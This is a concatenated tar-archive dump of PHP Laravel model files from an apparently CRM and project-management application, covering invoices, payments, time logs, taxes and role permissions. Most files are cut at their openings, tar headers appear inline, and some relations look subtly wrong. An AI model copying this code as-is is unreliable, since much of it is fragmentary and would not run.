formatOrderNumber() { $orderSettings = (company()) ? company()->invoiceSetting : $this->company->invoiceSetting; return \App\Helper\NumberFormat::order($this->order_number, $orderSettings); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } } Models/ContractType.php000064400000002201150325104510011106 0ustar00hasMany(LeadAgent::class, 'lead_category_id')->where('status', '=', 'enabled'); } } Models/ShiftRotation.php000064400000001276150325104510011277 0ustar00where('employee_shift_rotations.status', 'active'); } public function sequences(): HasMany { return $this->hasMany(ShiftRotationSequence::class, 'employee_shift_rotation_id', 'id'); } public function automateShifts(): HasMany { return $this->hasMany(AutomateShift::class, 'employee_shift_rotation_id', 'id'); } } Models/CreditNoteItemImage.php000064400000004521150325104510012320 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(CreditNoteItemImage::FILE_PATH . '/' . $this->credit_note_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (CreditNoteItemImage::FILE_PATH . '/' . $this->credit_note_item_id . '/' . $this->hashname); } } Models/OrderItemImage.php000064400000003070150325104510011331 0ustar00external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } public function getFileAttribute() { return $this->external_link; } } Models/StickyNote.php000064400000003533150325104510010574 0ustar00 'datetime', 'updated_at' => 'datetime', ]; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function userDetail(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } } Models/Tax.php000064400000003104150325104510007226 0ustar00 'datetime', 'due_date' => 'datetime', ]; protected $with = ['assignedTo']; public function task(): BelongsTo { return $this->belongsTo(Task::class); } public function assignedTo(): BelongsTo { return $this->belongsTo(User::class, 'assigned_to')->withoutGlobalScope(ActiveScope::class);; } public function files(): HasMany { return $this->hasMany(SubTaskFile::class, 'sub_task_id'); } } Models/EstimateItem.php000064400000006705150325104510011076 0ustar00withTrashed(); } public function estimateItemImage(): HasOne { return $this->hasOne(EstimateItemImage::class, 'estimate_item_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function getTaxListAttribute() { $estimateItem = EstimateItem::findOrFail($this->id); $taxes = ''; if ($estimateItem && $estimateItem->taxes) { $numItems = count(json_decode($estimateItem->taxes)); if (!is_null($estimateItem->taxes)) { foreach (json_decode($estimateItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } } Models/OrderItems.php000064400000007462150325104510010562 0ustar00withTrashed(); } public function orderItemImage(): HasOne { return $this->hasOne(OrderItemImage::class, 'order_item_id'); } public function product(): BelongsTo { return $this->belongsTo(Product::class, 'product_id'); } public function getTaxListAttribute() { $orderItem = OrderItems::findOrFail($this->id); $taxes = ''; if ($orderItem && $orderItem->taxes) { $numItems = count(json_decode($orderItem->taxes)); if (!is_null($orderItem->taxes)) { foreach (json_decode($orderItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/InvoiceFiles.php000064400000004403150325104510011054 0ustar00hashname); } public function invoice(): BelongsTo { return $this->belongsTo(Invoice::class); } } Models/ClientSubCategory.php000064400000003107150325104510012063 0ustar00belongsTo(ClientCategory::class, 'category_id'); } } Models/EmployeeShiftChangeRequest.php000064400000004275150325104510013740 0ustar00belongsTo(EmployeeShiftSchedule::class, 'shift_schedule_id'); } public function shift(): BelongsTo { return $this->belongsTo(EmployeeShift::class, 'employee_shift_id'); } } Models/UniversalSearch.php000064400000003115150325104510011572 0ustar00hasOne(Award::class, 'icon'); } } Models/TicketChannel.php000064400000002672150325104510011217 0ustar00hasMany(Ticket::class, 'channel_id'); } } Models/CreditNoteItem.php000064400000007011150325104510011352 0ustar00withTrashed(); } public function creditNoteItemImage(): HasOne { return $this->hasOne(CreditNoteItemImage::class, 'credit_note_item_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function getTaxListAttribute() { $creditNoteItem = CreditNoteItem::findOrFail($this->id); $taxes = ''; if ($creditNoteItem && $creditNoteItem->taxes) { $numItems = count(json_decode($creditNoteItem->taxes)); if (!is_null($creditNoteItem->taxes)) { foreach (json_decode($creditNoteItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } } Models/ProposalItemImage.php000064400000005007150325104510012057 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(ProposalItemImage::FILE_PATH . '/' . $this->proposal_item_id . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (ProposalItemImage::FILE_PATH . '/' . $this->proposal_item_id . '/' . $this->hashname); } public function item() : BelongsTo { return $this->belongsTo(ProposalItem::class, 'proposal_item_id'); } } Models/NoticeBoardUser.php000064400000000762150325104510011531 0ustar00belongsTo(Notice::class, 'user_id', 'id')->where('type', 'employee'); } public function clients(): BelongsTo { return $this->belongsTo(Notice::class, 'user_id', 'id')->where('type', 'client'); } } Models/EmployeeTeam.php000064400000002776150325104510011076 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } } Models/Role.php000064400000007034150325104510007401 0ustar00 str_slug($value), ); } public function permissions(): HasMany { return $this->hasMany(PermissionRole::class, 'role_id'); } public function rolePermissions(): BelongsToMany { return $this->belongsToMany(Permission::class, 'permission_role'); } public function roleuser(): HasMany { return $this->hasMany(RoleUser::class, 'role_id'); } public function users(): BelongsToMany { return $this->belongsToMany(User::class, 'role_user'); } public function permissionType($permissionId) { $permissionType = PermissionRole::where('role_id', $this->id)->where('permission_id', $permissionId)->first(); if ($permissionType) { return $permissionType->permission_type_id; } return false; } public function unsyncedUsers() { return $this->belongsToMany(User::class, 'role_user')->where('users.permission_sync', 0); } } Models/EventFile.php000064400000003755150325104510010367 0ustar00event_id . '/' . $this->hashname); } } Models/TaskTagList.php000064400000000730150325104510010666 0ustar00logo)) ? $this->company->logo_url : asset_url_local_s3('app-logo/' . $this->logo); } public function maskedLogoUrl(): Attribute { return Attribute::make( get: function () { return (is_null($this->logo)) ? $this->company->logo_url : $this->generateMaskedImageAppUrl('app-logo/' . $this->logo); }, ); } public function getAuthorisedSignatorySignatureUrlAttribute() { return (is_null($this->authorised_signatory_signature)) ? '' : asset_url_local_s3('app-logo/' . $this->authorised_signatory_signature); } public function maskedAuthorisedSignatorySignatureUrl(): Attribute { return Attribute::make( get: function () { return (is_null($this->authorised_signatory_signature)) ? '' : $this->generateMaskedImageAppUrl('app-logo/' . $this->authorised_signatory_signature); }, ); } public function getIsChineseLangAttribute() { return in_array(strtolower($this->locale), ['zh-hk', 'zh-cn', 'zh-sg', 'zh-tw', 'cn']); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_type_shift'); } } Models/LeadSource.php000064400000003345150325104510010527 0ustar00hasMany(Lead::class, 'source_id')->orderBy('column_priority'); } } Models/ProjectTimeLog.php000064400000026434150325104510011374 0ustar00 'datetime', 'end_time' => 'datetime', ]; protected $with = ['breaks', 'activeBreak']; const CUSTOM_FIELD_MODEL = 'App\Models\ProjectTimeLog'; /** * @return BelongsTo */ public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function editor(): BelongsTo { return $this->belongsTo(User::class, 'edited_by_user')->withoutGlobalScope(ActiveScope::class); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id')->withTrashed(); } public function tasksOnlyTrashed(): BelongsTo { return $this->belongsTo(Task::class, 'task_id')->onlyTrashed(); } public function breaks(): HasMany { return $this->hasMany(ProjectTimeLogBreak::class, 'project_time_log_id'); } public function activeBreak(): HasOne { return $this->hasOne(ProjectTimeLogBreak::class, 'project_time_log_id')->whereNull('end_time'); } protected $appends = ['hours', 'duration', 'timer', 'hours_only']; public function getDurationAttribute() { $finishTime = now(); if (!is_null($this->start_time)) { return $finishTime->diff($this->start_time)->format('%d days %H Hrs %i Mins %s Secs'); } return ''; } public function getHoursAttribute() { if (is_null($this->end_time)) { $totalMinutes = (($this->activeBreak) ? $this->activeBreak->start_time->diffInMinutes($this->start_time) : now()->diffInMinutes($this->start_time)) - $this->breaks->sum('total_minutes'); } else { $totalMinutes = $this->total_minutes - $this->breaks->sum('total_minutes'); } /** @phpstan-ignore-next-line */ return CarbonInterval::formatHuman($totalMinutes); } public function getHoursOnlyAttribute() { $ids = is_string($this->ids) ? explode(',', $this->ids) : (array) $this->ids; $breakMinutes = ProjectTimeLogBreak::whereIn('project_time_log_id', $ids)->sum('total_minutes') ?? 0; if (is_null($this->end_time)) { $totalMinutes = (($this->activeBreak) ? $this->activeBreak->start_time->diffInMinutes($this->start_time) : now()->diffInMinutes($this->start_time)) - $breakMinutes; } else { $totalMinutes = $this->total_minutes - $breakMinutes; } $hours = floor($totalMinutes / 60); $minutes = ($totalMinutes % 60); return sprintf('%02d' . __('app.hrs') . ' %02d' . __('app.mins'), $hours, $minutes); } public function getHoursOnlyAttributeOld() { if (is_null($this->end_time)) { $totalMinutes = (($this->activeBreak) ? $this->activeBreak->start_time->diffInMinutes($this->start_time) : now()->diffInMinutes($this->start_time)) - $this->breaks->sum('total_minutes'); } else { $totalMinutes = $this->total_minutes - $this->breaks->sum('total_minutes'); } $hours = floor($totalMinutes / 60); $minutes = ($totalMinutes % 60); return sprintf('%02d' . __('app.hrs') . ' %02d' . __('app.mins'), $hours, $minutes); } public function getTimerAttribute() { $finishTime = now(); if (!is_null($this->activeBreak)) { $finishTime = $this->activeBreak->start_time; } $startTime = Carbon::parse($this->start_time); $days = $finishTime->diff($startTime)->format('%d'); $hours = $finishTime->diff($startTime)->format('%H'); if ($hours < 10) { $hours = '0' . $hours; } $minutes = $finishTime->diffInMinutes($startTime); $minutes = $minutes - $this->breaks->sum('total_minutes'); if ($minutes < 10) { $minutes = '0' . $minutes; } $secs = $finishTime->diff($startTime)->format('%s'); if ($secs < 10) { $secs = '0' . $secs; } $hours = floor((int)$minutes / 60); $minutes = ((int)$minutes % 60); return sprintf('%02d:%02d:%02d', $hours, $minutes, $secs); } public static function dateWiseTimelogs($date, $userID = null) { $timelogs = ProjectTimeLog::with('breaks')->whereDate('start_time', $date); if (!is_null($userID)) { $timelogs = $timelogs->where('user_id', $userID); } return $timelogs = $timelogs->get(); } public static function weekWiseTimelogs($startDate, $endDate, $userID = null) { $timelogs = ProjectTimeLog::whereBetween(DB::raw('DATE(`start_time`)'), [$startDate, $endDate]); if (!is_null($userID)) { $timelogs = $timelogs->where('user_id', $userID); } return $timelogs = $timelogs->sum('total_minutes'); } public static function projectActiveTimers($projectId) { return ProjectTimeLog::with('user')->whereNull('end_time') ->where('project_id', $projectId) ->get(); } public static function taskActiveTimers($taskId) { return ProjectTimeLog::with('user')->whereNull('end_time') ->where('task_id', $taskId) ->get(); } public static function projectTotalHours($projectId) { return ProjectTimeLog::where('project_id', $projectId) ->sum('total_hours'); } public static function projectTotalMinuts($projectId) { return ProjectTimeLog::where('project_id', $projectId) ->sum('total_minutes'); } public static function memberActiveTimer($memberId) { return ProjectTimeLog::with('project')->where('user_id', $memberId) ->whereNull('end_time') ->first(); } // public static function selfActiveTimer() // { // $selfActiveTimer = ProjectTimeLog::doesnthave('activeBreak') // ->where('user_id', user()->id) // ->whereNull('end_time') // ->first(); // // if (is_null($selfActiveTimer)) { // $selfActiveTimer = ProjectTimeLog::with('activeBreak') // ->where('user_id', user()->id) // ->whereNull('end_time') // ->orderByDesc('id') // ->first(); // } // // return $selfActiveTimer; // } public static function selfActiveTimer() { return ProjectTimeLog::with('activeBreak') ->where('user_id', user()->id) ->whereNull('end_time') ->orderByDesc('id') ->first(); } public static function totalActiveTimer() { return ProjectTimeLog::with('activeBreak') ->where('user_id', user()->id) ->whereNull('end_time') ->orderByDesc('id') ->get(); } } Models/SocialAuthSetting.php000064400000006765150325104510012104 0ustar00 'encrypted', 'google_secret_id' => 'encrypted', 'linkedin_secret_id' => 'encrypted', 'twitter_secret_id' => 'encrypted', ]; public function getSocialAuthEnableAttribute() { return in_array('enable', [ $this->linkedin_status, $this->google_status, $this->twitter_status, $this->facebook_status ]); } public function getSocialAuthEnableCountAttribute() { $statuses = [ $this->linkedin_status, $this->google_status, $this->twitter_status, $this->facebook_status ]; return count(array_filter($statuses, function ($status) { return $status == 'enable'; })); } } Models/UserInvitation.php000064400000004524150325104510011464 0ustar00belongsTo(User::class); } } Models/EventAttendee.php000064400000003242150325104510011230 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function event(): BelongsTo { return $this->belongsTo(Event::class, 'event_id', 'id'); } } Models/RoleUser.php000064400000002003150325104510010227 0ustar00belongsTo(User::class, 'user_id'); } public function role(): BelongsTo { return $this->belongsTo(Role::class, 'user_id'); } public $timestamps = false; } Models/AcceptEstimate.php000064400000003453150325104510011374 0ustar00belongsTo(Estimate::class); } public function getSignatureAttribute() { return asset_url_local_s3('estimate/accept/' . $this->attributes['signature']); } } Models/Passport.php000064400000005142150325104510010311 0ustar00 'datetime', 'expiry_date' => 'datetime', ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function getImageUrlAttribute() { return asset_url_local_s3(Passport::FILE_PATH . '/' . $this->file); } public function country(): HasOne { return $this->hasOne(Country::class, 'id', 'country_id'); } } Models/ProposalSign.php000064400000002712150325104510011116 0ustar00attributes['signature']) ? asset_url_local_s3('proposal/sign/' . $this->attributes['signature']) : null; } } Models/InvoiceItems.php000064400000007150150325104510011075 0ustar00withTrashed(); } public function invoiceItemImage(): HasOne { return $this->hasOne(InvoiceItemImage::class, 'invoice_item_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function getTaxListAttribute() { $invoiceItem = $this; $taxes = ''; if ($invoiceItem && $invoiceItem->taxes) { $numItems = count(json_decode($invoiceItem->taxes)); if (!is_null($invoiceItem->taxes)) { foreach (json_decode($invoiceItem->taxes) as $index => $tax) { $tax = $this->taxbyid($tax)->first(); $taxes .= $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxes = ($index + 1 != $numItems) ? $taxes . ', ' : $taxes; } } } return $taxes; } public function invoice(): BelongsTo { return $this->belongsTo(Invoice::class, 'invoice_id'); } } Models/CreditNotes.php000064400000021507150325104510010724 0ustar00 'datetime', 'due_date' => 'datetime', ]; protected $appends = ['total_amount', 'issue_on']; protected $with = ['currency']; public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function clientdetails(): BelongsTo { return $this->belongsTo(ClientDetails::class, 'client_id', 'user_id'); } public function invoice(): BelongsTo { return $this->belongsTo(Invoice::class, 'invoice_id', 'id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } public function invoices(): HasMany { return $this->hasMany(Invoice::class); } public function items(): HasMany { return $this->hasMany(CreditNoteItem::class, 'credit_note_id'); } public function payment(): HasMany { return $this->hasMany(Payment::class, 'invoice_id', 'invoice_id')->orderByDesc('paid_on'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public static function clientInvoices($clientId) { return CreditNotes::join('projects', 'projects.id', '=', 'credit_notes.project_id') ->select('projects.project_name', 'credit_notes.*') ->where('projects.client_id', $clientId) ->get(); } public function getPaidAmount() { return $this->payment->sum('amount'); } public function creditAmountUsed() { $payment = Payment::where('credit_notes_id', $this->id)->get(); return ($payment) ? $payment->sum('amount') : 0; } /* This is overall amount, cannot be used for particular credit note */ public function creditAmountRemaining() { return ($this->total) - $this->creditAmountUsed(); } public function getTotalAmountAttribute() { return $this->total + $this->adjustment_amount; } public function getIssueOnAttribute() { if (!is_null($this->issue_date)) { return Carbon::parse($this->issue_date)->format('d F, Y'); } return ''; } public function setIssueDateAttribute($issue_date) { $issue_date = Carbon::createFromFormat(company()->date_format, $issue_date, company()->timezone)->format('Y-m-d'); $issue_date = Carbon::parse($issue_date)->setTimezone('UTC'); $this->attributes['issue_date'] = $issue_date; } public function setDueDateAttribute($due_date) { if (!is_null($due_date)) { $due_date = Carbon::createFromFormat(company()->date_format, $due_date, company()->timezone)->format('Y-m-d'); $due_date = Carbon::parse($due_date)->setTimezone('UTC'); $this->attributes['due_date'] = $due_date; } } public function formatCreditNoteNumber() { $invoiceSettings = company() ? company()->invoiceSetting : $this->company->invoiceSetting; return \App\Helper\NumberFormat::creditNote($this->cn_number, $invoiceSettings); } public static function lastEstimateNumber() { return (int)CreditNotes::latest()->first()?->original_credit_note_number ?? 0; } } Models/Expense.php000064400000017035150325104510010111 0ustar00 $transactions * @property-read int|null $transactions_count * @method static \Illuminate\Database\Eloquent\Builder|Expense whereBankAccountId($value) * @method static \Illuminate\Database\Eloquent\Builder|Expense whereDefaultCurrencyId($value) * @method static \Illuminate\Database\Eloquent\Builder|Expense whereExchangeRate($value) * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $transactions * @mixin \Eloquent */ class Expense extends BaseModel { use CustomFieldsTrait, HasFactory, HasCompany; const FILE_PATH = 'expense-invoice'; const CUSTOM_FIELD_MODEL = 'App\Models\Expense'; protected $casts = [ 'purchase_date' => 'datetime', 'purchase_on' => 'datetime', ]; protected $appends = ['total_amount', 'purchase_on', 'bill_url', 'default_currency_price']; protected $with = ['currency', 'company:id']; public function getBillUrlAttribute() { return ($this->bill) ? asset_url_local_s3(Expense::FILE_PATH . '/' . $this->bill) : ''; } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function category(): BelongsTo { return $this->belongsTo(ExpensesCategory::class, 'category_id'); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function approver(): BelongsTo { return $this->belongsTo(User::class, 'approver_id')->withoutGlobalScope(ActiveScope::class); } public function recurrings(): HasMany { return $this->hasMany(Expense::class, 'parent_id'); } public function transactions(): HasMany { return $this->hasMany(BankTransaction::class, 'expense_id'); } public function getTotalAmountAttribute() { if (!is_null($this->price) && !is_null($this->currency_id)) { return currency_format($this->price, $this->currency_id); } return ''; } public function getPurchaseOnAttribute() { if (is_null($this->purchase_date)) { return ''; } return $this->purchase_date->format($this->company ? $this->company->date_format : company()->date_format); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function defaultCurrencyPrice() : Attribute { return Attribute::make( get: function () { $currency = (company() == null) ? $this->company->currency_id : company()->currency_id; if ($this->currency_id == $currency) { return $this->price; } if(!$this->exchange_rate){ return $this->price; } return ($this->price * ((float)$this->exchange_rate)); }, ); } public function bankAccount() { return $this->belongsTo(BankAccount::class, 'bank_account_id'); } } Models/TaskCategory.php000064400000003300150325104510011070 0ustar00permission('view_task_category') == 'all') { return TaskCategory::all(); } else { return TaskCategory::where('added_by', user()->id)->get(); } } } Models/DiscussionReply.php000064400000006660150325104510011643 0ustar00 $mentionDiscussionReply * @property-read int|null $mention_discussion_reply_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionDiscussionReply * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class DiscussionReply extends BaseModel { use SoftDeletes, HasCompany; protected $guarded = ['id']; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function discussion(): BelongsTo { return $this->belongsTo(Discussion::class); } public function files(): HasMany { return $this->hasMany(DiscussionFile::class, 'discussion_reply_id'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionDiscussionReply(): HasMany { return $this->hasMany(MentionUser::class, 'discussion_reply_id'); } } Models/Payment.php000064400000020420150325104510010107 0ustar00 $transactions * @property-read int|null $transactions_count * @method static \Illuminate\Database\Eloquent\Builder|Payment whereBankAccountId($value) * @method static \Illuminate\Database\Eloquent\Builder|Payment whereDefaultCurrencyId($value) * @method static \Illuminate\Database\Eloquent\Builder|Payment whereExchangeRate($value) * @method static \Illuminate\Database\Eloquent\Builder|Payment whereQuickbooksPaymentId($value) * @mixin \Eloquent */ class Payment extends BaseModel { use HasCompany; const FILE_PATH = 'payment-receipt'; protected $casts = [ 'paid_on' => 'datetime', 'payment_gateway_response' => 'object' ]; protected $appends = ['total_amount', 'paid_date', 'file_url', 'default_currency_price']; protected $with = ['currency', 'order']; public function client() { if (!is_null($this->project_id) && $this->project->client_id) { return $this->project->client; } if ($this->invoice_id != null) { if ($this->invoice->client_id) { return $this->invoice->client; } if (!is_null($this->invoice->project_id) && $this->invoice->project->client_id) { return $this->invoice->project->client; } } return null; } public function invoice(): BelongsTo { return $this->belongsTo(Invoice::class, 'invoice_id'); } public function order(): BelongsTo { return $this->belongsTo(Order::class, 'order_id'); } public function creditNote(): BelongsTo { return $this->belongsTo(CreditNotes::class, 'credit_notes_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function transactions(): HasMany { return $this->hasMany(BankTransaction::class, 'payment_id'); } public function offlineMethod(): BelongsTo { return $this->belongsTo(OfflinePaymentMethod::class, 'offline_method_id'); } public function getTotalAmountAttribute() { return (!is_null($this->amount) && !is_null($this->currency_id)) ? $this->amount : ''; } public function getPaidDateAttribute() { return !is_null($this->paid_on) ? Carbon::parse($this->paid_on)->format('d F, Y H:i A') : ''; } public function getFileUrlAttribute() { return asset_url_local_s3(Payment::FILE_PATH . '/' . $this->bill); } public function scopeCompleted($query) { return $query->where('status', 'complete'); } public function offlineMethods(): BelongsTo { return $this->belongsTo(OfflinePaymentMethod::class, 'offline_method_id'); } public function defaultCurrencyPrice() : Attribute { return Attribute::make( get: function () { $currency = (company() == null) ? $this->company->currency_id : company()->currency_id; if ($this->currency_id == $currency) { return $this->amount; } if($this->exchange_rate){ return ($this->amount * ((float)$this->exchange_rate)); } // Retrieve the currency associated with the payment $currency = Currency::find($this->currency_id); if($currency && $currency->exchange_rate){ return ($this->amount * ((float)$currency->exchange_rate)); } // If exchange rate is not available or invalid, return the original amount return $this->amount; }, ); } } Models/LeadCustomForm.php000064400000011752150325104510011366 0ustar00 'active', 'field_display_name' => 'Name', 'field_name' => 'name', 'field_order' => 1, 'required' => 1, ], [ 'status' => 'active', 'field_display_name' => 'Email', 'field_name' => 'email', 'field_order' => 2, 'required' => 0, ], [ 'field_display_name' => 'Company Name', 'status' => 'active', 'field_name' => 'company_name', 'field_order' => 3, 'required' => 0, ], [ 'field_display_name' => 'Website', 'field_name' => 'website', 'status' => 'active', 'field_order' => 4, 'required' => 0, ], [ 'field_display_name' => 'Address', 'field_name' => 'address', 'status' => 'active', 'field_order' => 5, 'required' => 0, ], [ 'field_display_name' => 'Mobile', 'field_name' => 'mobile', 'field_order' => 6, 'status' => 'active', 'required' => 0, ], [ 'field_display_name' => 'Message', 'field_name' => 'message', 'status' => 'active', 'field_order' => 7, 'required' => 0, ], [ 'field_display_name' => 'City', 'status' => 'active', 'field_name' => 'city', 'field_order' => 1, 'required' => 0, ], [ 'field_display_name' => 'State', 'status' => 'active', 'field_name' => 'state', 'field_order' => 2, 'required' => 0, ], [ 'field_display_name' => 'Country', 'field_name' => 'country', 'status' => 'active', 'field_order' => 3, 'required' => 0, ], [ 'field_display_name' => 'Postal Code', 'field_name' => 'postal_code', 'status' => 'active', 'field_order' => 4, 'required' => 0, ], [ 'field_display_name' => 'Source', 'field_name' => 'source', 'status' => 'active', 'field_order' => 8, 'required' => 0, ], [ 'field_display_name' => 'Product', 'field_name' => 'product', 'status' => 'active', 'field_order' => 9, 'required' => 0, ], ]; public function customField(): BelongsTo { return $this->belongsTo(CustomField::class, 'custom_fields_id'); } } Models/DatabaseBackupSetting.php000064400000002261150325104510012665 0ustar00belongsTo(Project::class); } } Models/Module.php000064400000211622150325104510007725 0ustar00 $permissionsAll * @property-read int|null $permissions_all_count * @mixin \Eloquent */ class Module extends BaseModel { protected $guarded = ['id']; const MODULE_LIST = [ [ 'module_name' => 'clients', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_clients', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'view_clients', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'edit_clients', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'delete_clients', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_client_category', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_client_subcategory', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_client_contacts', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 1, 'name' => 'view_client_contacts', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'edit_client_contacts', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_client_contacts', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_client_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_client_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_client_note', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_client_note', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_client_document', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_client_document', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_client_document', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_client_document', ], ] ], [ 'module_name' => 'employees', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_employees', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_employees', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_employees', ], [ 'allowed_permissions' => Permission::ALL_ADDED_NONE, 'is_custom' => 0, 'name' => 'delete_employees', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_designation', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_designation', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'edit_designation', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_designation', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_department', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_department', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'edit_department', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'delete_department', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_documents', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'view_documents', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'edit_documents', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 1, 'name' => 'delete_documents', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_leaves_taken', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'update_leaves_quota', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_employee_tasks', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_employee_projects', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_employee_timelogs', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'change_employee_role', ], 